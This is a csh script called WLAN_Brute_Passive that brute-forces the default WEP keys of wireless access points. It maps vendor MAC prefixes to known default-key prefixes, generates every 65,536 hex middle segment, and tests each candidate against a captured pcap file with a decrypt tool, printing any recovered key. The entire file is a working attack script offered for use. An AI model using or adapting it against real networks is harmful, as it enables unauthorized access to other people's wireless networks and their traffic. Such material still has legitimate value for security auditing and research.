#!/bin/csh -f
###############################################################################
#                           WLAN_Brute_Passive 1.15                           #
#                                                                             #
#                                     by                                      #
#                                                                             #
#             L. Padilla (e-mail: padilla at domain "gae ucm es")             #
#                                                                             #
#                     Madrid, April 2006 - December 2013                      #
#                                                                             #
# Latest at http://www.gae.ucm.es/~padilla/extrawork/wlan_brute_passive.csh   #
###############################################################################


#set echo on


set essid = "$1"
set apmac =  $2

set apmacs = `echo $apmac | tr -d ':' | tr 'A-F' 'a-f'`
set idmac  = `echo $apmac | cut -d : -f 1-3 | tr 'a-f' 'A-F'`

if ($idmac == 00:01:38) then
  set key1 = X000138
else if ($idmac == E0:91:53) then
  set key1 = XE09153
else if ($idmac == 00:02:CF) then
  set key1 = Z0002CF
else if ($idmac == 00:16:38) then
  set key1 = C0030DA
else if ($idmac == 00:18:02) then
  set key1 = H13D5BC
else if ($idmac == 00:19:CB) then
  set key1 = Z0002CF
else if ($idmac == 00:1A:2B || $idmac == 00:03:C9) then
  set key1 = C001D20
else if ($idmac == 00:60:B3 || $idmac == 00:13:49 || $idmac == 00:A0:C5) then
  set key1 = Z001349
else if ($idmac == 40:4A:03) then
  set key1 = Z404A03
else if ($idmac == 50:67:F0) then
  set key1 = Z5067F0
else if ($idmac == 00:23:F8) then
  set key1 = Z0023F8
else
  echo "Unknown AP MAC. WLAN specific attack not possible."
  exit 1
endif

set key3 = `echo "$essid" | tail -c3`

set file = "replay_$essid.pcap"

set r = 0

repeat:

cat /dev/null > wlan_brute.txt

foreach       i (0 1 2 3 4 5 6 7 8 9 A B C D E F)
  foreach     j (0 1 2 3 4 5 6 7 8 9 A B C D E F)
    foreach   k (0 1 2 3 4 5 6 7 8 9 A B C D E F)
      foreach l (0 1 2 3 4 5 6 7 8 9 A B C D E F)
        echo "$key1$i$j$k$l$key3" >> wlan_brute.txt
      end
    end
  end
end

decrypt -f wlan_brute.txt -m $apmac -e "$file" -d wlan_brute_tmp.pcap |& egrep -v "^Could|Invalid" > ./"$essid-$apmacs.key"

rm -f wlan_brute_tmp.pcap wlan_brute.txt

if ($r == 0 && $idmac == 00:03:C9) then
  set key1 = C0030DA
  set r = 1
  goto repeat
else if ($r == 0 && $idmac == 00:02:CF) then
  set key1 = Z0023F8
  set r = 1
  goto repeat
endif

if (! -z ./"$essid-$apmacs.key") then
  echo "WEP key found! It is stored in $cwd/$essid-$apmacs.key"
  cat ./"$essid-$apmacs.key"
  exit 0
else
  echo "WEP key not found. This WLAN AP does not use the default key."
endif


exit 1
